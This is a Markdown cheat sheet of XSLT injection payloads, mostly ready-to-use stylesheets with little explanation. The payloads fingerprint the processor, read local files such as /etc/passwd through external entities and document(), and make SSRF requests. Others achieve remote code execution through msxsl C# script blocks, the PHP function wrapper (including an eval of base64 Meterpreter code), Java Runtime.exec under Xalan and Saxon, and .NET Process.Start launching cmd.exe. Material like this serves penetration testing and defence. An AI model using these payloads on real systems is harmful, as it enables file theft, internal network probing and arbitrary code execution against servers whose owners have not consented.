200 lines
6.9 KiB
Markdown
200 lines
6.9 KiB
Markdown
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# XSLT Injection
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> Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
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## Summary
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- [Tools](#tools)
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- [Exploit](#exploit)
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- [Determine the vendor and version](#determine-the-vendor-and-version)
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- [External Entity](#external-entity)
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- [Read files and SSRF using document](#read-files-and-ssrf-using-document)
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- [Remote Code Execution with Embedded Script Blocks](#remote-code-execution-with-embedded-script-blocks)
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- [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper)
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- [Remote Code Execution with Java](#remote-code-execution-with-java)
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- [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net)
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## Tools
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## Exploit
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### Determine the vendor and version
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```xml
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/fruits">
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<xsl:value-of select="system-property('xsl:vendor')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body>
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<br />Version: <xsl:value-of select="system-property('xsl:version')" />
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<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
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<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
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</body>
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</html>
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```
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### External Entity
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```xml
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<?xml version="1.0" encoding="utf-8"?>
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<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/fruits">
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Fruits &ext_file;:
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<!-- Loop for each fruit -->
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<xsl:for-each select="fruit">
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<!-- Print name: description -->
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- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
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</xsl:for-each>
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</xsl:template>
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</xsl:stylesheet>
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```
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### Read files and SSRF using document
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```xml
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<?xml version="1.0" encoding="utf-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/fruits">
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<xsl:copy-of select="document('http://172.16.132.1:25')"/>
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<xsl:copy-of select="document('/etc/passwd')"/>
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<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
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Fruits:
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<!-- Loop for each fruit -->
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<xsl:for-each select="fruit">
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<!-- Print name: description -->
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- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
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</xsl:for-each>
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</xsl:template>
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</xsl:stylesheet>
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```
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### Remote Code Execution with Embedded Script Blocks
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
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xmlns:msxsl="urn:schemas-microsoft-com:xslt"
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xmlns:user="urn:my-scripts">
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<msxsl:script language = "C#" implements-prefix = "user">
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<![CDATA[
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public string execute(){
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System.Diagnostics.Process proc = new System.Diagnostics.Process();
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proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
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proc.StartInfo.RedirectStandardOutput = true;
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proc.StartInfo.UseShellExecute = false;
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proc.StartInfo.Arguments = "/c dir";
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proc.Start();
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proc.WaitForExit();
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return proc.StandardOutput.ReadToEnd();
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}
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]]>
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</msxsl:script>
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<xsl:template match="/fruits">
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--- BEGIN COMMAND OUTPUT ---
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<xsl:value-of select="user:execute()"/>
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--- END COMMAND OUTPUT ---
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</xsl:template>
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</xsl:stylesheet>
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```
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### Remote Code Execution with PHP wrapper
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Execute the function `readfile`.
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
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<body>
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<xsl:value-of select="php:function('readfile','index.php')" />
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</body>
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</html>
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```
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Execute the function `scandir`.
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```xml
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
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<xsl:template match="/">
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<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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Execute a PHP meterpreter using PHP wrapper.
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```xml
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
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<xsl:template match="/">
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<xsl:variable name="eval">
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eval(base64_decode('Base64-encoded Meterpreter code'))
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</xsl:variable>
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<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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### Remote Code Execution with Java
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```xml
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
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<xsl:template match="/">
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<xsl:variable name="rtobject" select="rt:getRuntime()"/>
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<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
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<xsl:variable name="processString" select="ob:toString($process)"/>
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<xsl:value-of select="$processString"/>
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</xsl:template>
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</xsl:stylesheet>
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```
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```xml
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<xml version="1.0"?>
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<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
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<xsl:template match="/">
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<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
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</xsl:template>.
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</xsl:stylesheet>
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```
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### Remote Code Execution with Native .NET
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```xml
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<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
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<msxsl:script implements-prefix="App" language="C#">
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<![CDATA[
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public string ToShortDateString(string date)
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{
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System.Diagnostics.Process.Start("cmd.exe");
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return "01/01/2001";
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}
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]]>
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</msxsl:script>
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<xsl:template match="ArrayOfTest">
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<TABLE>
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<xsl:for-each select="Test">
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<TR>
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<TD>
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<xsl:value-of select="App:ToShortDateString(TestDate)" />
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</TD>
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</TR>
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</xsl:for-each>
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</TABLE>
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</xsl:template>
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</xsl:stylesheet>
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```
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## References
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* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
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* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
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* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)
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